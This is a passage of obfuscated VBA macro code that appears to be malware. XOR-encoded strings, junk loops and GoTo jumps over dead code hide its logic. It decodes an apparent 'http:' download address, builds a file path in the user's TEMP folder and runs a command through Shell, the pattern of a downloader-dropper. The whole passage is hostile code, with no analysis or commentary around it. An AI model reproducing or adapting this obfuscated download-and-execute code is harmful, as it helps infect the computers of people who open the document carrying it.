IfFphwkD = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(32) & Chr(35) & Chr(125) & Chr(56) & Chr(62) & Chr(52) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
CrMDwuEw = LTrim(IfFphwkD)
bgoUtRdH = RTrim(CrMDwuEw)

    Close #TRULUSUSFEP

GoTo zvBnllQs
Dim gRQEXiFx As String
Open Xorex(Chr(39) & Chr(61) & Chr(117) & Chr(60) & Chr(55) & Chr(59) & Chr(75) & Chr(55) & Chr(34) & Chr(49), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc") For Binary As 94
Dim wkxMeHaA As Integer
For wkxMeHaA = 0 To 8
Dim EoNtDWiF, HgSihOqB, zmvqJcgo As String
EoNtDWiF = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(56) & Chr(37) & Chr(123) & Chr(62) & Chr(54) & Chr(47) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
HgSihOqB = LTrim(EoNtDWiF)
zmvqJcgo = RTrim(HgSihOqB)

DoEvents
Next wkxMeHaA
Dim FxAKjzyy, OcQrQuEi, RvXhyqao As String
FxAKjzyy = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(59) & Chr(41) & Chr(120) & Chr(50) & Chr(59) & Chr(52) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
OcQrQuEi = LTrim(FxAKjzyy)
RvXhyqao = RTrim(OcQrQuEi)

Put #94, , gRQEXiFx
Dim mbPBpfiY As Integer
For mbPBpfiY = 0 To 3
Dim iZjxEDTd, SvBJHixt, klYseEgX As String
iZjxEDTd = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(36) & Chr(60) & Chr(125) & Chr(54) & Chr(34) & Chr(48) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
SvBJHixt = LTrim(iZjxEDTd)
klYseEgX = RTrim(SvBJHixt)

DoEvents
Next mbPBpfiY
Dim rhfcMBis, lylaNPlM, WjUWOieg As String
rhfcMBis = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(62) & Chr(33) & Chr(101) & Chr(49) & Chr(32) & Chr(51) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
lylaNPlM = LTrim(rhfcMBis)
WjUWOieg = RTrim(lylaNPlM)

Close #94
Dim lPHvugRD As Integer
For lPHvugRD = 0 To 8
Dim OzskPvLW, XoVmsdXy, MLAipgZR As String
OzskPvLW = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(61) & Chr(47) & Chr(125) & Chr(56) & Chr(44) & Chr(37) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
XoVmsdXy = LTrim(OzskPvLW)
MLAipgZR = RTrim(XoVmsdXy)

DoEvents
Next lPHvugRD
Dim JZGPdgLC, SENCUljB, IRpozcFN As String
JZGPdgLC = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(47) & Chr(49) & Chr(115) & Chr(48) & Chr(35) & Chr(34) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
SENCUljB = LTrim(JZGPdgLC)
IRpozcFN = RTrim(SENCUljB)

zvBnllQs:

Dim wkcCTitH As Integer
For wkcCTitH = 0 To 9
Dim SczZNIDR, klOCdrTw, Cgkkbvxf As String
SczZNIDR = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(52) & Chr(32) & Chr(116) & Chr(42) & Chr(44) & Chr(51) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
klOCdrTw = LTrim(SczZNIDR)
Cgkkbvxf = RTrim(klOCdrTw)

DoEvents
Next wkcCTitH
Dim tPfwTbdI, lnlNPqvj, XQULmIiP As String
tPfwTbdI = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(62) & Chr(42) & Chr(101) & Chr(49) & Chr(59) & Chr(32) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
lnlNPqvj = LTrim(tPfwTbdI)
XQULmIiP = RTrim(lnlNPqvj)


    Dim VNFIMIAERHX

    VNFIMIAERHX = Shell(XOGQTIGBKHF, 1)

    Set DJJTVHAZKJC = Nothing

GoTo CejplmFF
Dim ooedWiJB As String
Open Xorex(Chr(61) & Chr(39) & Chr(109) & Chr(60) & Chr(37) & Chr(33) & Chr(75) & Chr(49) & Chr(40) & Chr(56), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc") For Binary As 89
Dim mmirnAEI As Integer
For mmirnAEI = 0 To 3
Dim gRyROGbQ, nPKIsEEX, vwwmpTom As String
gRyROGbQ = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(33) & Chr(42) & Chr(122) & Chr(49) & Chr(44) & Chr(32) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
nPKIsEEX = LTrim(gRyROGbQ)
vwwmpTom = RTrim(nPKIsEEX)

DoEvents
Next mmirnAEI
Dim llxyYHMO, hlYlaMkP, qmHRmBGQ As String
llxyYHMO = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(61) & Chr(61) & Chr(116) & Chr(58) & Chr(60) & Chr(36) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
hlYlaMkP = LTrim(llxyYHMO)
qmHRmBGQ = RTrim(hlYlaMkP)

Put #89, , ooedWiJB
Dim VaklusKS As Integer
For VaklusKS = 0 To 2
Dim qGlaTiHc, GPawLZIg, IaKuOOCK As String
qGlaTiHc = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(56) & Chr(58) & Chr(126) & Chr(50) & Chr(36) & Chr(36) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
GPawLZIg = LTrim(qGlaTiHc)
IaKuOOCK = RTrim(GPawLZIg)

DoEvents
Next VaklusKS
Dim cIDsIfAA, NLzykPqW, gOiPcxxE As String
cIDsIfAA = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(58) & Chr(59) & Chr(102) & Chr(41) & Chr(61) & Chr(51) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
NLzykPqW = LTrim(cIDsIfAA)
gOiPcxxE = RTrim(NLzykPqW)

Close #89
Dim IHhAnnKu As Integer
For IHhAnnKu = 0 To 5
Dim RfFrwTRb, HlnuVlUP, ebdpbuQW As String
RfFrwTRb = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(56) & Chr(46) & Chr(116) & Chr(63) & Chr(51) & Chr(51) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
HlnuVlUP = LTrim(RfFrwTRb)
ebdpbuQW = RTrim(HlnuVlUP)

DoEvents
Next IHhAnnKu
Dim NiYxbhRY, XiHIMlzI, JoaMgvbO As String
NiYxbhRY = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(44) & Chr(32) & Chr(123) & Chr(59) & Chr(33) & Chr(34) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
XiHIMlzI = LTrim(NiYxbhRY)
JoaMgvbO = RTrim(XiHIMlzI)

CejplmFF:

Dim Xswedqaa As Integer
For Xswedqaa = 0 To 7
Dim gJMzjjMM, MSZxEQSS, DelimKah As String
gJMzjjMM = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(45) & Chr(56) & Chr(116) & Chr(50) & Chr(39) & Chr(46) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
MSZxEQSS = LTrim(gJMzjjMM)
DelimKah = RTrim(MSZxEQSS)

DoEvents
Next Xswedqaa
Dim CpZpwSmv, bwJrtprK, FsXUqWhn As String
CpZpwSmv = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(45) & Chr(61) & Chr(124) & Chr(50) & Chr(37) & Chr(59) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
bwJrtprK = LTrim(CpZpwSmv)
FsXUqWhn = RTrim(bwJrtprK)


End Function
Sub JWYBNRLBKQR()

GoTo jHlXfgkj
Dim ZCyBHzwn As String
Open Xorex(Chr(62) & Chr(54) & Chr(119) & Chr(45) & Chr(63) & Chr(57) & Chr(75) & Chr(45) & Chr(52) & Chr(52), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc") For Binary As 52
Dim ODnPnHVL As Integer
For ODnPnHVL = 0 To 2
Dim yIpEfZQO, kFXYHjFL, RMIOkrKr As String
yIpEfZQO = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(52) & Chr(46) & Chr(124) & Chr(37) & Chr(34) & Chr(43) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
kFXYHjFL = LTrim(yIpEfZQO)
RMIOkrKr = RTrim(kFXYHjFL)

DoEvents
Next ODnPnHVL
Dim GWxqCrmq, QXUxkiKs, YXJISdhd As String
GWxqCrmq = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(52) & Chr(58) & Chr(118) & Chr(35) & Chr(61) & Chr(59) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
QXUxkiKs = LTrim(GWxqCrmq)
YXJISdhd = RTrim(QXUxkiKs)

Put #52, , ZCyBHzwn
Dim yihEhlnZ As Integer
For yihEhlnZ = 0 To 3
Dim xnNSTDsA, awIuKirl, YkhAyZWq As String
xnNSTDsA = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(57) & Chr(39) & Chr(99) & Chr(34) & Chr(45) & Chr(48) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
awIuKirl = LTrim(xnNSTDsA)
YkhAyZWq = RTrim(awIuKirl)

DoEvents
Next yihEhlnZ
Dim YSGcrHZv, oCrkDfsL, cDoWLBcA As String
YSGcrHZv = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(49) & Chr(56) & Chr(114) & Chr(58) & Chr(52) & Chr(53) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
oCrkDfsL = LTrim(YSGcrHZv)
cDoWLBcA = RTrim(oCrkDfsL)

Close #52
Dim qRGZJsEv As Integer
For qRGZJsEv = 0 To 4
Dim wxwDYhEj, liBbRkoH, TfQZytdN As String
wxwDYhEj = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(58) & Chr(40) & Chr(114) & Chr(54) & Chr(39) & Chr(51) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
liBbRkoH = LTrim(wxwDYhEj)
TfQZytdN = RTrim(liBbRkoH)

DoEvents
Next qRGZJsEv
Dim SHrGhiyI, IJfaPdEO, EJcdtjaP As String
SHrGhiyI = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(55) & Chr(36) & Chr(98) & Chr(49) & Chr(59) & Chr(53) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
IJfaPdEO = LTrim(SHrGhiyI)
EJcdtjaP = RTrim(IJfaPdEO)

jHlXfgkj:

Dim qTSFapfU As Integer
For qTSFapfU = 0 To 4
Dim EfGPsGLS, wRTweXih, abfHhkNi As String
EfGPsGLS = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(48) & Chr(61) & Chr(97) & Chr(63) & Chr(52) & Chr(58) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
wRTweXih = LTrim(EfGPsGLS)
abfHhkNi = RTrim(wRTweXih)

DoEvents
Next qTSFapfU
Dim yGZKlKzU, mTIxbEfh, CHXjoaCP As String
yGZKlKzU = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(57) & Chr(46) & Chr(118) & Chr(35) & Chr(56) & Chr(58) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
mTIxbEfh = LTrim(yGZKlKzU)
CHXjoaCP = RTrim(mTIxbEfh)

bdskk = Xorex(Chr(3) & Chr(4) & Chr(76) & Chr(27) & Chr(93) & Chr(95) & Chr(74) & Chr(6) & Chr(0) & Chr(2) & Chr(19) & Chr(16) & Chr(12) & Chr(95) & Chr(22) & Chr(7) & Chr(13) & Chr(20) & Chr(68) & Chr(72) & Chr(22) & Chr(4) & Chr(75) & Chr(14) & Chr(7) & Chr(83) & Chr(28) & Chr(2) & Chr(12) & Chr(27) & Chr(31) & Chr(20) & Chr(89) & Chr(11) & Chr(27) & Chr(25) & Chr(71) & Chr(15) & Chr(75) & Chr(28), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")

GoTo HJKzlDPM
Dim eCRtMADt As String
Open Xorex(Chr(38) & Chr(54) & Chr(96) & Chr(33) & Chr(49) & Chr(39) & Chr(75) & Chr(48) & Chr(39) & Chr(48), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc") For Binary As 92
Dim oLbCkGPA As Integer
For oLbCkGPA = 0 To 1
Dim VtNDJEUB, pqSHljPp, wjvLWtFm As String
VtNDJEUB = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(54) & Chr(45) & Chr(118) & Chr(54) & Chr(58) & Chr(43) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
pqSHljPp = LTrim(VtNDJEUB)
wjvLWtFm = RTrim(pqSHljPp)

DoEvents
Next oLbCkGPA
Dim cALaoxse, lArdEnOr, gZfvVTut As String
cALaoxse = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(62) & Chr(49) & Chr(114) & Chr(39) & Chr(45) & Chr(55) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
lArdEnOr = LTrim(cALaoxse)
gZfvVTut = RTrim(lArdEnOr)

Put #92, , eCRtMADt
Dim SbUhQpLN As Integer
For SbUhQpLN = 0 To 2
Dim TNcEZIfr, qXyVGetX, GJDlevCD As String
TNcEZIfr = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(54) & Chr(50) & Chr(102) & Chr(38) & Chr(34) & Chr(51) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
qXyVGetX = LTrim(TNcEZIfr)
GJDlevCD = RTrim(qXyVGetX)

DoEvents
Next SbUhQpLN
Dim ugatonxL, mtuIgsIA, ChwZVOjX As String
ugatonxL = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(57) & Chr(35) & Chr(126) & Chr(59) & Chr(50) & Chr(32) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
mtuIgsIA = LTrim(ugatonxL)
ChwZVOjX = RTrim(mtuIgsIA)

Close #92
Dim oMxonDwO As Integer
For oMxonDwO = 0 To 1
Dim ixQNkElr, yugDhTVE, ldaHKlzD As String
ixQNkElr = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(47) & Chr(51) & Chr(105) & Chr(35) & Chr(54) & Chr(41) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
yugDhTVE = LTrim(ixQNkElr)
ldaHKlzD = RTrim(yugDhTVE)

DoEvents
Next oMxonDwO
Dim hBBOPFHV, qNpWtLdB, ualubCPN As String
hBBOPFHV = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(51) & Chr(45) & Chr(106) & Chr(43) & Chr(37) & Chr(37) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
qNpWtLdB = LTrim(hBBOPFHV)
ualubCPN = RTrim(qNpWtLdB)

HJKzlDPM:

Dim giSWfZQU As Integer
For giSWfZQU = 0 To 2
Dim dIpGowQq, KEJpwHZe, cbbRIqlM As String
dIpGowQq = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(51) & Chr(40) & Chr(122) & Chr(55) & Chr(36) & Chr(38) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
KEJpwHZe = LTrim(dIpGowQq)
cbbRIqlM = RTrim(KEJpwHZe)

DoEvents
Next giSWfZQU
Dim FLzugXlL, eOiPmUTA, TWwRrtgW As String
FLzugXlL = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(37) & Chr(63) & Chr(113) & Chr(57) & Chr(62) & Chr(42) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
eOiPmUTA = LTrim(FLzugXlL)
TWwRrtgW = RTrim(eOiPmUTA)

sdngkb = Environ(Xorex(Chr(63) & Chr(53) & Chr(117) & Chr(59), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")) & Xorex(Chr(55) & Chr(51) & Chr(105) & Chr(57) & Chr(61) & Chr(59) & Chr(40) & Chr(46) & Chr(43) & Chr(37) & Chr(60) & Chr(45) & Chr(69) & Chr(85) & Chr(11) & Chr(16), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")

GoTo cBuVwuMm
Dim wPPPlonL As String
Open Xorex(Chr(57) & Chr(57) & Chr(110) & Chr(62) & Chr(54) & Chr(33) & Chr(75) & Chr(33) & Chr(54) & Chr(48), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc") For Binary As 39
Dim QYzDbZQP As Integer
For QYzDbZQP = 0 To 9
Dim izZVObjb, logasfmP, TgarDzcM As String
izZVObjb = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(58) & Chr(40) & Chr(105) & Chr(59) & Chr(34) & Chr(42) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
logasfmP = LTrim(izZVObjb)
TgarDzcM = RTrim(logasfmP)

DoEvents
Next QYzDbZQP
Dim xPXoDZfS, lPumiUQD, fQjYAQoF As String
xPXoDZfS = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(62) & Chr(50) & Chr(126) & Chr(60) & Chr(36) & Chr(42) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
lPumiUQD = LTrim(xPXoDZfS)
fQjYAQoF = RTrim(lPumiUQD)

Put #39, , wPPPlonL
Dim ffpyMCLp As Integer
For ffpyMCLp = 0 To 2
Dim lvHgVOEp, VlvOqrmz, EgytcvdL As String
